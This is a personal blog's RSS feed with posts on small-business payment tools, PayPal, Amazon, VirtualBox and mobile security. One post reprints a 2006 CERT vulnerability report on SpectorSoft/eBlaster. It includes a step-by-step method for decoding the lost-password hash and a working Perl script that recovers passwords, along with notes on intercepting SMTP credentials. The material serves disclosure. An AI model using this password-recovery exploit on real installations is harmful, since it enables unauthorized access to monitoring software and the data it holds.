<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Personal Website of Yakov Shafranovich &#187; Technology</title>
	<atom:link href="http://www.shaftek.org/blog/category/technology/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.shaftek.org</link>
	<description>ShafTek.org = SHAFranovich TECHnologies</description>
	<lastBuildDate>Thu, 02 Feb 2012 02:24:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Essential Small Business Tools You Probably Never Heard Of &#8211; Part 1</title>
		<link>http://www.shaftek.org/blog/2012/01/15/essential-small-business-tools-you-probably-never-heard-of-part/</link>
		<comments>http://www.shaftek.org/blog/2012/01/15/essential-small-business-tools-you-probably-never-heard-of-part/#comments</comments>
		<pubDate>Sun, 15 Jan 2012 17:12:11 +0000</pubDate>
		<dc:creator>Yakov Shafranovich</dc:creator>
				<category><![CDATA[Personal Finance]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.shaftek.org/?p=1097</guid>
		<description><![CDATA[As an owner of a small business it is always surprising to me to find out when speaking with other small business owners about how unaware they are of some of the free and cheap tools available out there to make their business better. In this post, I will list (in  no particular order) some of the [...]]]></description>
			<content:encoded><![CDATA[<p>As an owner of a small business it is always surprising to me to find out when speaking with other small business owners about how unaware they are of some of the free and cheap tools available out there to make their business better. In this post, I will list (in  no particular order) some of the tools I have used in the past and currently use, all of which have made a big difference in my business. This part 1 covers financial tools.</p>
<p><span style="text-decoration: underline;"><strong><a href="https://squareup.com">Square</a> for in-person credit card payments</strong></span></p>
<p>Normally in order for a business to take credit card payments, a merchant account is required. Opening one is a tedious process and it usually comes saddled with all kinds of application, credit report, etc. fees. Even once the account is established, there are monthly gateway and processing fees, and sometimes a minimum transaction fee as well.</p>
<p><strong><a href="https://squareup.com">Square</a></strong> offers a great and cheap alternative for merchant accounts. There are no fees for signing up, no monthly fees, and no minimum activity required. When you apply for an account, they send you a free credit card reader <strong>which works on conjunction with an iPhone, iPad or an Android phone (yes, you need a cell phone)</strong>, and hooks into the headphones jack. The only fee they charge is 2.75% for processing transactions. You can also enter credit card numbers manually for a higher processing fee of 3.5% + 15 cents. Receipts are automatically emailed or SMSed to the owner of the card.</p>
<p><span style="text-decoration: underline;"><strong><a href="https://www.paypal.com/us/mrb/pal=SYFFJEG2UQ3XJ">PayPal</a> and <a href="https://checkout.google.com/sell/">Google Checkout</a> for online invoicing</strong></span></p>
<p>While <a href="https://www.paypal.com/us/mrb/pal=SYFFJEG2UQ3XJ">PayPal</a> and Google Checkout are well known for their payment tools that are used on websites, not a lot of people know about their invoicing features. Both services have an option that allows you to request a payment via email, and optionally send an invoice to your customer (here is <a href="https://merchant.paypal.com/us/cgi-bin/?cmd=_render-content&amp;content_ID=merchant/online_invoicing">PayPal invoicing</a> and <a href="http://support.google.com/checkout/sell/bin/answer.py?hl=en&amp;answer=53026">Google Checkout&#8217;s email feature</a>). This is a great feature for online service businesses that do not charge a set price and it avoids the use of merchant accounts. The cost is the same as their regular payment services (about 2.9% + 30 cents) and there are no minimums or monthly fees. PayPal&#8217;s invoicing feature is a more advanced than Google&#8217;s.</p>
<p><span style="text-decoration: underline;"><strong><a href="https://fxpayments.americanexpress.com">American Express FX Payments</a> for free international wire transfers</strong></span></p>
<p>Even for a business that always does business within the US, there always comes a time where a foreign client or supplier comes along, requiring ability to wire money internationally. One alternative is to use a payment service like <a href="https://www.paypal.com/us/mrb/pal=SYFFJEG2UQ3XJ">PayPal</a> above, but they tend to charge extra for international payments (as described <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_display-xborder-fees-outside">here</a>). Another alternative is to use a credit card without an international transaction fee but It gets even more complicated when trying to pay a foreign supplier which is not online savvy and expects wire transfers. Regular banks tend to charge a lot for international wires and they also hike up the conversion rates to their advantage just like credit card companies. The end result is that you end up paying through the nose and get a pretty bad conversion rate.</p>
<p>A great alternative that I stumbled on about six months ago is <a href="https://fxpayments.americanexpress.com">American Express&#8217;s FX Payments</a> service. While it is a bit of a pain to sign up for including an application, some phone calls, it is a great service that is worth it. For starters, there are no fees at all and no minimums. You link up your checking account and they withdraw the money via ACH from your checking account, and then transfer it via a conventional international wire transfer. It does take an extra day for processing. Their conversion rates are pretty close to the trading conversion rates for currencies and they have 24/7 toll-free support. I have been using them to pay royalties to oversea authors for several months and have been very impressed with their service.</p>
<p><span style="text-decoration: underline;"><strong><a href="https://www.paypal.com/us/mrb/pal=SYFFJEG2UQ3XJ">PayPal</a> for mobile check deposits</strong></span></p>
<div>Even though business is moving online, conventional paper checks are still used often for payments. One nifty tool that I have found is PayPal&#8217;s check deposit feature, which is only available on their mobile apps for the iPhone, iPad and Android. Now you should certainly check with your bank first if they do remote deposit but for those that don&#8217;t, PayPal&#8217;s free service is a great alternative. You install the app, take a picture of the front and back of the check with your phone, and in about a week the money gets put into your PayPal account and you get an email notification.</div>
<div></div>
<div></div>
<div>There are limits to the service &#8211; maximum of $1,000 per check and no more than $4,000 in deposits per month, but for very small business it may be a great alternative. There are no fees of any kind. My only beef with them is that it takes 1-2 weeks to process the check versus 1-2 days for a regular bank. Of course, more and more banks are adding remote deposit as a feature for their mobile apps, so check with your bank often.</div>
]]></content:encoded>
			<wfw:commentRss>http://www.shaftek.org/blog/2012/01/15/essential-small-business-tools-you-probably-never-heard-of-part/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Review of Paypal&#8217;s Mobile Check Capture Service</title>
		<link>http://www.shaftek.org/blog/2011/07/10/review-of-paypals-mobile-check-capture-service/</link>
		<comments>http://www.shaftek.org/blog/2011/07/10/review-of-paypals-mobile-check-capture-service/#comments</comments>
		<pubDate>Mon, 11 Jul 2011 03:23:27 +0000</pubDate>
		<dc:creator>Yakov Shafranovich</dc:creator>
				<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.shaftek.org/?p=995</guid>
		<description><![CDATA[Being that none of the banks I currently use support remote deposit  (taking photos of checks and uploading them instead of bringing the physical checks in), I was very interested to hear that PayPal finally added check deposit ability to their Android app. This post covers my experiences with that service. First of all, the [...]]]></description>
			<content:encoded><![CDATA[<p>Being that none of the banks I currently use support remote deposit  (taking photos of checks and uploading them instead of bringing the physical checks in), I was very interested to hear that PayPal finally added check deposit ability to their Android app. This post covers my experiences with that service.</p>
<p>First of all, the actual check deposit feature is hard to find, it is not under &#8220;Add Money&#8221;, rather it is under tools. Second, the Paypal Android app itself seems to be someone unstable since it keeps on occasionally crashes or failing to login. Regardless, once you locate the feature, the actual process seems to be straight forward &#8211; sign the check, take a picture of the front and back, and send it in. PayPal recommends that you hold on to the check for 15 days. I do like the fact that no fees are being assessed by PayPal for the service, but time will tell if it will stay that way. Once the check is processed, you receive it as a payment to your PayPal account, and you can then either use it or withdraw it into your bank account. Combined with the PayPal credit card that feeds from your balance, it can actually allow someone to bank completely without having a bank &#8211; something that many companies like WalMart, GreenDot and of course your neighborhood check cashing places do. I can easily see blue collar workers that are young and mobile savvy use this feature to deposit checks and then transfer money to relatives overseas instead of the regular check cashing/Western Union route.</p>
<p>I had two problems with the process:</p>
<p>1. There is no indication on the regular Desktop site what is going on with the checks. When the checks are actually processed, they appear in your account as a payment from a merchant called &#8220;PayPal Check Capture&#8221;, and the only way to figure out what check goes with which payment, or to check on the status of the process is to go into the mobile app on your phone.</p>
<p>2. My biggest problem is time &#8211; it took almost 10 days to process a single small amount check while  for example, Bank of America deposits checks same day via their ATM if they are put in before 8 PM. That is an absurd amount of time for a check, but perhaps the anti-fraud mechanism is what slows it down.</p>
<p>Overall I am satisfied with the service but everyone should be well aware that this deposit method takes time. It would be interesting to see if combining PayPal Check Deposit and Square for credit processing with a small business would actually eliminate the need for a gateway and a bank account.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaftek.org/blog/2011/07/10/review-of-paypals-mobile-check-capture-service/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Why I Use Amazon for Most of My Online Shopping</title>
		<link>http://www.shaftek.org/blog/2011/06/13/why-i-use-amazon-for-most-of-my-online-shopping/</link>
		<comments>http://www.shaftek.org/blog/2011/06/13/why-i-use-amazon-for-most-of-my-online-shopping/#comments</comments>
		<pubDate>Tue, 14 Jun 2011 02:12:58 +0000</pubDate>
		<dc:creator>Yakov Shafranovich</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[amazon]]></category>

		<guid isPermaLink="false">http://www.shaftek.org/?p=945</guid>
		<description><![CDATA[While I had been online for a long time, over the years I gravitated to use Amazon.com for most of my online shopping. While I do not necessarily like big companies, in this case a lot of what Amazon brings to the consumer is something all online companies should learn from. I often find myself [...]]]></description>
			<content:encoded><![CDATA[<p>While I had been online for a long time, over the years I gravitated to use Amazon.com for most of my online shopping. While I do not necessarily like big companies, in this case a lot of what Amazon brings to the consumer is something all online companies should learn from. I often find myself getting something from Amazon for a little more money just to get the benefits they offer. And as the range of stuff they sell expands, I am constantly surprised by what I find &#8211; I have bought seeds, lawn mowers and even a snow blower from Amazon in the past.</p>
<p>Here are some reasons why I like Amazon:</p>
<ul>
<li><strong>Free 2-day shipping and cheap overnight shipping</strong> &#8211; I have an Amazon Prime membership and take advantage of it. For a busy family, it is often easier to order something online than to actually visit a store. A new trend has been is third party merchants qualifying for Amazon Prime shipping when they use Amazon&#8217;s warehouse services.</li>
<li><strong>Reviews are a great resource</strong> &#8211; many of the reviews, especially the negative ones are unabashedly straight forward and strong. I have found, time and time again, that user reviews steer me in the right direction.</li>
<li><strong>Great returns policy -</strong> for most items, they can be returned hassle free without paying shipping if something does not work. Even when I no longer want the item, it only costs the shipping itself to return something, and I often able to get cheaper shipping myself.</li>
<li><strong>Guarantee for Third Party merchants</strong> &#8211; one of the great things about Amazon (unlike Ebay) is that they guarantee most of their third party transactions, so even when things are not being bought from Amazon itself, there is still protection there.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.shaftek.org/blog/2011/06/13/why-i-use-amazon-for-most-of-my-online-shopping/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Two Vulnerabilities in SpectorSoft/eBlaster Products</title>
		<link>http://www.shaftek.org/blog/2011/04/06/two-vulnerabilities-in-spectorsofteblaster-products/</link>
		<comments>http://www.shaftek.org/blog/2011/04/06/two-vulnerabilities-in-spectorsofteblaster-products/#comments</comments>
		<pubDate>Thu, 07 Apr 2011 03:52:30 +0000</pubDate>
		<dc:creator>Yakov Shafranovich</dc:creator>
				<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.shaftek.org/?p=912</guid>
		<description><![CDATA[This information is quite old and I am not sure if it is still valid. However, the vendor never responded to what I sent them even with assistance of CERT. This was assigned VU#707817 in 2006. - -------- Original Message -------- Subject: Re: Two vulnerabilities in SpectorSoft products VU#707817 Date: Mon, 20 Nov 2006 17:10:13 [...]]]></description>
			<content:encoded><![CDATA[<p>This information is quite old and I am not sure if it is still valid. However, the vendor never responded to what I sent them even with assistance of CERT. This was assigned VU#707817 in 2006.</p>
<p><code>- -------- Original Message --------<br />
Subject: Re: Two vulnerabilities in SpectorSoft products VU#707817<br />
Date: Mon, 20 Nov 2006 17:10:13 -0500<br />
From: Yakov Shafranovich<br />
To: CERT(R) Coordination Center</p>
<p>Background:</p>
<p>Spectorsoft Corp makes several products for monitoring computer and<br />
Internet usage including eBlaster, Spector Pro, and others. Some of the<br />
programs provide an option to email copies of the reports to the<br />
subscriber via regular SMTP.</p>
<p>Also, the software provides ability for a user who forgot his password<br />
to the software, to recover it by pressing a hidden key combination 6<br />
times and obtain a special "hash" code. The hash code is sent to the<br />
vendor and a password is returned. This process is posted publically on<br />
the vendor's website:</p>
<p>http://www.spectorsoft.com/support/eblaster_windows/faq.html</p>
<p>Vulnerability #1:</p>
<p>The algorithm used to generate the lost password hashes is not secure,<br />
and easily crackable, thus allowing anyone to easily access an installed<br />
copy of the vendor's product even if a password is unknown. THIS<br />
INFORMATION WAS OBTAINED BY SIMPLY ANALYZING A PASSWORD HASH FOR A KNOWN<br />
PASSWORD. This could have been easily remedied by using a form of<br />
public/private key encryption.</p>
<p>Second, the viewer executable which allows for login is easily found in<br />
WINDOWS\SYSTEM32 directory - it is usually a 1.5 or 3 MB executible and<br />
can be found there even on a system where the software is running in<br />
stealth mode.</p>
<p>The algorithm for decoding the hash is as follows:</p>
<p>1. Given numeric hash of 7 numbers as follows:</p>
<p>288-1488-1776-336-624-912-5424</p>
<p>2. The first number is a magic value:<br />
288</p>
<p>3. The last number is a checksum, equivelant to the sum of all numbers<br />
in the hash. In this example:</p>
<p>288 + 1488 + 1776 + 336 + 624 + 912 = 5424</p>
<p>4. Taking the lowest number in the hash excluding the first and the<br />
last, gives your the first character. Going from there and wrapping to<br />
the front gives you the rest":</p>
<p>288-1488-1776-336-624-912-5424<br />
 4   5    6    1   2   3</p>
<p>5. Dividing each number except the first, by the magic value and adding<br />
its place # gives you the ASCII value of the password:</p>
<p>#1 | 3 | 336 mod 288  = 48 | 48 + 1 = 49 | 1 |<br />
#2 | 4 | 624 mod 288 = 48 | 48 + 2 = 50 | 2 |<br />
#3 | 5 | 912 mod 288 = 48 | 48 + 3 = 51 | 3 |<br />
#4 | 6 | 288 / 6 = 48 | 48 + 4 = 52 | 4 |<br />
#5 | 1 | 1488 mod 288 = 48 | 48 + 5 = 53 | 5 |<br />
#6 | 2 | 1776 mod 288 = 48 | 48 + 6 = 54 | 6 |</p>
<p>6. The first number's value is equal to the itself divided by the total<br />
amount of numbers excluding the checksum:</p>
<p>288 / 6 = 48</p>
<p>7. The result is: '123456'</p>
<p>The perl code is as follows. A live copy of this script is available at:</p>
<p>[redacted]</p>
<p>=====================================================================<br />
#!/usr/bin/perl</p>
<p>use lib qw(.);<br />
use CGI;<br />
use CGI::Carp qw(fatalsToBrowser);</p>
<p>#--- Check for parameters ---<br />
if ($ENV{'REQUEST_METHOD'} eq "GET")<br />
 { $in = $ENV{'QUERY_STRING'}; }<br />
else<br />
 { $in = &lt;STDIN&gt;; }<br />
$q=new CGI($in);</p>
<p>if($q-&gt;param('hash') eq '')<br />
{  print "Content-Type: text/plain\n\n";<br />
 print "500 ERROR: Missing parameter 'hash'.\n";<br />
 exit;<br />
}</p>
<p>#--- prepare parameters ---<br />
my $hash_raw = $q-&gt;param('hash');<br />
my $dd = $q-&gt;param('dd');<br />
my $count = ($hash_raw =~ tr/-//);<br />
my @nums = split('-', $hash_raw);<br />
my $magic = @nums[0];<br />
my $sum = @nums[$count];<br />
my $lowest = $count;</p>
<p>#--- check the checksum ---<br />
my $check = 0;<br />
for($i=0; $i &lt; $count; $i++) {<br />
  $check = $check + @nums[$i];<br />
}</p>
<p>if($check != $sum) {<br />
 print "Content-Type: text/plain\n\n";<br />
 print "Checksum DOES NOT match: is $check, must be $sum!\n";<br />
 exit;<br />
}</p>
<p>print "Content-Type: text/html\n\n";<br />
print "&lt;html&gt;&lt;head&gt;&lt;title&gt;Hash Calculator (c) 2006&lt;/title&gt;&lt;/head&gt;&lt;body&gt;";<br />
print "&lt;hr/&gt;&lt;h1&gt;Hash Calculator (c) 2006&lt;/h1&gt;&lt;hr/&gt;";</p>
<p>print "&lt;table border='1'&gt;&lt;tr&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;";<br />
print "&lt;tr&gt;&lt;td&gt;Original Hash&lt;/td&gt;&lt;td&gt;$hash_raw&lt;/td&gt;&lt;/tr&gt;";<br />
print "&lt;tr&gt;&lt;td&gt;Total Characters&lt;/td&gt;&lt;td&gt;$count&lt;/td&gt;&lt;/tr&gt;";</p>
<p>if($dd eq 'y') {<br />
  print "&lt;tr&gt;&lt;td&gt;Magic Value&lt;/td&gt;&lt;td&gt;$magic&lt;/td&gt;&lt;/tr&gt;";<br />
  print "&lt;tr&gt;&lt;td&gt;Checksum&lt;/td&gt;&lt;td&gt;$check = $sum (matches!)&lt;/td&gt;&lt;/tr&gt;";<br />
}</p>
<p>#--- find the lowest number ---<br />
for($i=1; $i &lt; $count; $i++) {<br />
  if(@nums[$i] &lt; @nums[$lowest]) {<br />
      $lowest = $i;<br />
  }<br />
}</p>
<p>if($dd eq 'y') {<br />
  print "&lt;tr&gt;&lt;td&gt;Starting Slot&lt;/td&gt;&lt;td&gt;$lowest&lt;/td&gt;&lt;/tr&gt;";<br />
  print "&lt;tr&gt;&lt;td&gt;Starting slot value&lt;/td&gt;&lt;td&gt;@nums[$lowest]&lt;/td&gt;&lt;/tr&gt;";<br />
  print "&lt;tr&gt;&lt;td colspan='2'&gt;Calculation table below :&lt;/td&gt;&lt;/tr&gt;";<br />
  print "&lt;tr&gt;&lt;td colspan='2'&gt;";<br />
}</p>
<p>#--- print the first part of the result ---<br />
my $pass = '';<br />
my $j = 1;<br />
for($i = $lowest; $i &lt; $count; $i++) {<br />
  my $raw = @nums[$i] - $magic*$j;<br />
  my $res = $raw + $j;<br />
  my $ch = chr($res);<br />
  $pass = $pass . $ch;<br />
  if($dd eq 'y') {<br />
      print "#$j | $i | @nums[$i] - ($magic*$j) = $raw | $raw + $j =<br />
$res | $ch |&lt;br/&gt;";<br />
  }<br />
  $j++;<br />
}</p>
<p>#--- process the magic part ---<br />
my $raw = @nums[0] / $count;<br />
my $res = $raw + $j;<br />
my $ch = chr($res);<br />
$pass = $pass . $ch;<br />
if($dd eq 'y') {<br />
  print "&lt;b&gt;#$j | $i | @nums[0] / $count = $raw | $raw + $j = $res |<br />
$ch |&lt;/b&gt;&lt;br/&gt;";<br />
}<br />
$j++;</p>
<p>#--- process the rest ---<br />
for($i = 1; $i &lt; $lowest; $i++) {<br />
  my $raw = @nums[$i] - $magic*$j;<br />
  my $res = $raw + $j;<br />
  my $ch = chr($res);<br />
  $pass = $pass . $ch;<br />
  if($dd eq 'y') {<br />
      print "#$j | $i | @nums[$i] - ($magic*$j) = $raw | $raw + $j =<br />
$res | $ch |&lt;br/&gt;";<br />
  }<br />
  $j++;<br />
}<br />
if($dd eq 'y') {<br />
  print "&lt;/td&gt;&lt;/tr&gt;";<br />
}<br />
print "&lt;tr&gt;&lt;td&gt;Password&lt;/td&gt;&lt;td&gt;&lt;b&gt;$pass&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;";<br />
print "&lt;/table&gt;&lt;hr/&gt;&lt;/body&gt;&lt;/html&gt;";</p>
<p>exit;</p>
<p>========================================================================</p>
<p>Vulnerability #2:</p>
<p>This is more of a design issue. When eBlaster is used to send reports<br />
via SMTP the software is subject to a man in the middle act. By<br />
monitoring network traffic one can see the email account and credentials<br />
to which the reports are being sent, leading to a possibility of<br />
exposing security credentials AND ability to fake the reports. The<br />
reports are not digitally signed or encrypted.</p>
<p>Additionally, even when using TLS, it is possible in theory to run a man<br />
in the middle attack by mapping the destination SMTP server's IP to<br />
localhost via hosts.txt, and running a rougue SMTP server with TLS locally.</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaftek.org/blog/2011/04/06/two-vulnerabilities-in-spectorsofteblaster-products/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Running Mac OS X on Ubuntu 10.10 with VirtualBox 4</title>
		<link>http://www.shaftek.org/blog/2011/04/06/running-mac-os-x-on-ubuntu-10-10-with-virtualbox-4/</link>
		<comments>http://www.shaftek.org/blog/2011/04/06/running-mac-os-x-on-ubuntu-10-10-with-virtualbox-4/#comments</comments>
		<pubDate>Thu, 07 Apr 2011 02:49:10 +0000</pubDate>
		<dc:creator>Yakov Shafranovich</dc:creator>
				<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.shaftek.org/?p=906</guid>
		<description><![CDATA[Just some short notes on running Mac OS X under Ubuntu 10: 1. Get a VMware image for Mac OS X, an ISO or make a copy of an existing Mac OS installation into VMWare or VirtualBox disk image. 2. Create a new VirtualBox 4 VM as follows: OS Type: Mac OS X server OR [...]]]></description>
			<content:encoded><![CDATA[<p>Just some short notes on running Mac OS X under Ubuntu 10:</p>
<p>1. Get a VMware image for Mac OS X, an ISO or make a copy of an existing Mac OS installation into VMWare or VirtualBox disk image.</p>
<p>2. Create a new VirtualBox 4 VM as follows:</p>
<ul>
<li>OS Type: Mac OS X server OR BSD/FreeBSD</li>
<li>Base RAM: 1 GB</li>
<li>Enable IO-PIC</li>
<li>Disable EFI &#8211; VERY IMPORTANT</li>
<li>Enable VTx+/AMD V+</li>
</ul>
<p>3. Add the disk image to VB and start.</p>
<p>Screenshot below:</p>
<p><a href="http://www.shaftek.org/wordpress/wp-content/uploads/2011/04/Screenshot.png"><img class="alignleft" title="Screenshot" src="http://www.shaftek.org/wordpress/wp-content/uploads/2011/04/Screenshot.png" alt="" width="400"  /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaftek.org/blog/2011/04/06/running-mac-os-x-on-ubuntu-10-10-with-virtualbox-4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Comodo SSL Breach and Mobile Devices</title>
		<link>http://www.shaftek.org/blog/2011/03/25/comodo-ssl-breach-and-mobile-devices/</link>
		<comments>http://www.shaftek.org/blog/2011/03/25/comodo-ssl-breach-and-mobile-devices/#comments</comments>
		<pubDate>Fri, 25 Mar 2011 13:20:48 +0000</pubDate>
		<dc:creator>Yakov Shafranovich</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.shaftek.org/?p=900</guid>
		<description><![CDATA[A recent breach at a SSL Certificate Authority (Comodo) had nine fake SSL certificate issued as a result for sites like Gmail, Yahoo, etc. [details here at the EFF]. While desktop browsers issued updates, the overlooked issue here is mobile. Browsers on mobile devices are usually in firmware, and issuing firmware updates is not trivial. [...]]]></description>
			<content:encoded><![CDATA[<p>A recent breach at a SSL Certificate Authority (Comodo) had nine fake SSL certificate issued as a result for sites like Gmail, Yahoo, etc. [details <a href="http://www.eff.org/deeplinks/2011/03/iranian-hackers-obtain-fraudulent-https">here at the EFF</a>]. While desktop browsers issued updates, the overlooked issue here is mobile. Browsers on mobile devices are usually in firmware, and issuing firmware updates is not trivial. That means that currently most mobile devices are vulnerable to this fake SSL mess &#8211; something that no one has mentioned.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaftek.org/blog/2011/03/25/comodo-ssl-breach-and-mobile-devices/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Saying GoodBye to Palm and Sprint, Part II</title>
		<link>http://www.shaftek.org/blog/2011/03/09/saying-goodbye-to-palm-and-sprint-part-ii/</link>
		<comments>http://www.shaftek.org/blog/2011/03/09/saying-goodbye-to-palm-and-sprint-part-ii/#comments</comments>
		<pubDate>Thu, 10 Mar 2011 02:52:20 +0000</pubDate>
		<dc:creator>Yakov Shafranovich</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.shaftek.org/?p=889</guid>
		<description><![CDATA[(followup to part I) I have been using Virgin Mobile USA&#8217;s Samsung Intercept for about 2 months now. Good things I have found: Cheap pricing &#8211; paying a little less than $80/mo for two phones, with 1,200 minutes each, and unlimited texting/web Android 2.1 with access to Android Market Pretty much the same coverage as [...]]]></description>
			<content:encoded><![CDATA[<p>(followup to <a href="http://www.shaftek.org/blog/2011/02/13/saying-goodbye-to-palm-and-sprint-part-i/">part I</a>)</p>
<p>I have been using Virgin Mobile USA&#8217;s Samsung Intercept for about 2 months now. Good things I have found:</p>
<ul>
<li>Cheap pricing &#8211; paying a little less than $80/mo for two phones, with 1,200 minutes each, and unlimited texting/web</li>
<li>Android 2.1 with access to Android Market</li>
<li>Pretty much the same coverage as Sprint PCS</li>
<li>Works great with WiFi</li>
</ul>
<p>Some bad things:</p>
<ul>
<li>No roaming</li>
<li>No three way calling</li>
<li>Takes a long time to boot</li>
<li>The phone is pretty slow and locks up when too many things are running. However, for my purposes, which does not use a lot of running services, it works great.</li>
<li>Does not run Android 2.2 (yet, although an update is coming <a href="http://mobile.engadget.com/2011/02/22/virgin-mobiles-samsung-intercept-getting-froyo-around-march-25t/">on March 25th</a>) &#8211; speed should get better with 2.2</li>
<li>The default browser is sort of sluggish, but alternatives like Opera Mobile work great</li>
</ul>
<p>Overall I would have to say that it is a great deal for the price I am paying, however, it is not for someone who is looking for playing Android games, but for basic usage it seems to be fine.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaftek.org/blog/2011/03/09/saying-goodbye-to-palm-and-sprint-part-ii/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Irresponsible Security Disclosure: Square and VeriFone</title>
		<link>http://www.shaftek.org/blog/2011/03/09/irresponsible-security-disclosure-square-and-verifone/</link>
		<comments>http://www.shaftek.org/blog/2011/03/09/irresponsible-security-disclosure-square-and-verifone/#comments</comments>
		<pubDate>Thu, 10 Mar 2011 02:43:06 +0000</pubDate>
		<dc:creator>Yakov Shafranovich</dc:creator>
				<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.shaftek.org/?p=886</guid>
		<description><![CDATA[Techcrunch posted a story earlier about an open letter from a company called VeriFone which is a traditional credit card processor. They apparently claim to have discovered a security vulnerability in a competitor&#8217;s product, Square. The vulnerability is that the competitor&#8217;s hardware credit card reader does not encrypt data between the reader and the host [...]]]></description>
			<content:encoded><![CDATA[<p>Techcrunch posted <a href="http://techcrunch.com/2011/03/09/verifone-takes-the-gloves-off-accuses-square-of-serious-security-hole/">a story earlier</a> about an open letter from a company called <a href="http://www.verifone.com/">VeriFone</a> which is a traditional credit card processor. They apparently claim to have discovered a security vulnerability in a competitor&#8217;s product, <a href="https://squareup.com/">Square</a>. The vulnerability is that the competitor&#8217;s hardware credit card reader does not encrypt data between the reader and the host phone, allowing in theory for an easy and free skimmer. They even went as far releasing a free app that can do that.</p>
<p>Now the problem is that security vulnerabilities have a process that most security researchers follow &#8211; they tell the vendor first, or use an intermediate party like <a href="http://www.us-cert.gov/">CERT</a> as a go in between. The reason for that is that the vendor should be given an opportunity to fix the problem first. In this case this responsible disclosure policy was not followed.</p>
<p>The vulnerability itself is not very advanced &#8211; people can copy credit card numbers by hand if they have your card, and they type in numbers manually as well. HOWEVER, the issue is that of a competitor using this as leverage to drive people away . Considering that VeriFone is a public company, this may have legal repercussions as well.</p>
